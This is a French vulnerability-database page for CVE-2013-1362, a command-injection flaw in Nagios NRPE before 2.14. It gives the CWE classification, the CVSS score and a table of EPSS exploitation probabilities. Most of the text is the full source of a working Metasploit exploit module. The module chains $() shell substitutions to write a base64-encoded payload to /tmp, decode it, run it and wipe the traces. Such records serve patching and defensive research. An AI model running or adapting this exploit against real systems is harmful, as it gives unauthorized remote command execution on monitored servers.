CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Incomplete blacklist vulnerability in nrpc.c in Nagios Remote Plug-In Executor (NRPE) before 2.14 might allow remote attackers to execute arbitrary shell commands via "$()" shell metacharacters, which are processed by bash.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
80.92%
–
–
2022-07-17
–
–
80.92%
–
–
2022-08-07
–
–
80.92%
–
–
2022-08-28
–
–
80.92%
–
–
2022-12-11
–
–
79.49%
–
–
2023-03-12
–
–
–
95.79%
–
2023-04-09
–
–
–
95.85%
–
2023-12-03
–
–
–
95.21%
–
2024-01-28
–
–
–
94.16%
–
2024-06-02
–
–
–
93.81%
–
2024-06-02
–
–
–
93.81%
–
2024-08-04
–
–
–
93.3%
–
2024-10-06
–
–
–
93.68%
–
2025-02-09
–
–
–
93.34%
–
2025-01-19
–
–
–
93.68%
–
2025-02-16
–
–
–
93.34%
–
2025-03-18
–
–
–
–
76.44%
2025-03-18
–
–
–
–
76.44,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2013-04-11 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
#
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
'Description' => %q{
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
Nagios server to actively poll information from the hosts it monitors. NRPE
has a configuration option dont_blame_nrpe which enables command-line arguments
to be provided remote plugins. When this option is enabled, even when NRPE makes
an effort to sanitize arguments to prevent command execution, it is possible to
execute arbitrary commands.
},
'Author' =>
[
'Rudolph Pereir', # Vulnerability discovery
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1362' ],
[ 'OSVDB', '90582'],
[ 'BID', '58142'],
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl python ruby bash telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 21 2013'
))
register_options(
[
Opt::RPORT(5666),
OptEnum.new('NRPECMD', [
true,
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
'check_procs',
['check_procs', 'check_users', 'check_load', 'check_disk']
]),
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
], self.class)
end
def send_message(message)
packet = [
2, # packet version
1, # packet type, 1 => query packet
0, # checksum, to be added later
0, # result code, discarded for query packet
message, # the command and arguments
0 # padding
]
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
begin
self.sock.put(packet.pack("nnNna1024n")) #send the packet
res = self.sock.get_once # get the response
rescue ::EOFError => eof
res = ""
end
return res.unpack("nnNnA1024n")[4] unless res.nil?
end
def setup
@ssl_socket = nil
@force_ssl = false
super
end
def exploit
if check != Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
end
stage = "setsid nohup #{payload.encoded} & "
stage = Rex::Text.encode_base64(stage)
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
command = datastore['NRPECMD']
command << "!"
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
# need a way to write to a file without using redirection (>)
# cant count on perl being on all linux hosts, use GNU Sed
# TODO: Probably a better way to do this, some hosts may not have a /tmp
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
command << "$(rm -f /tmp/$$))" # clean the file with the stage
connect
print_status("Sending request...")
send_message(command)
disconnect
end
def check
print_status("Checking if remote NRPE supports command line arguments")
begin
# send query asking to run "fake_check" command with command substitution in arguments
connect
res = send_message("__fake_check!$()")
# if nrpe is configured to support arguments and is not patched to add $() to
# NASTY_META_CHARS then the service will return:
# NRPE: Command '__fake_check' not defined
if res =~ /not defined/
return Exploit::CheckCode::Vulnerable
end
# Otherwise the service will close the connection if it is configured to disable arguments
rescue EOFError => eof
return Exploit::CheckCode::Safe
rescue Errno::ECONNRESET => reset
unless datastore['NRPESSL'] or @force_ssl
print_status("Retrying with ADH SSL")
@force_ssl = true
retry
end
return Exploit::CheckCode::Safe
rescue => e
return Exploit::CheckCode::Unknown
end
# TODO: patched version appears to go here
return Exploit::CheckCode::Unknown
end
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
# setting the global SSL => true will break as we would be overlaying
# an SSLSocket on another SSLSocket which hasnt completed its handshake
def connect(global = true, opts={})
self.sock = super(global, opts)
if datastore['NRPESSL'] or @force_ssl
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.ciphers = "ADH"
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
@ssl_socket.connect
self.sock.extend(Rex::Socket::SslTcp)
self.sock.sslsock = @ssl_socket
self.sock.sslctx = ctx
end
return self.sock
end
def disconnect
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
super
end
end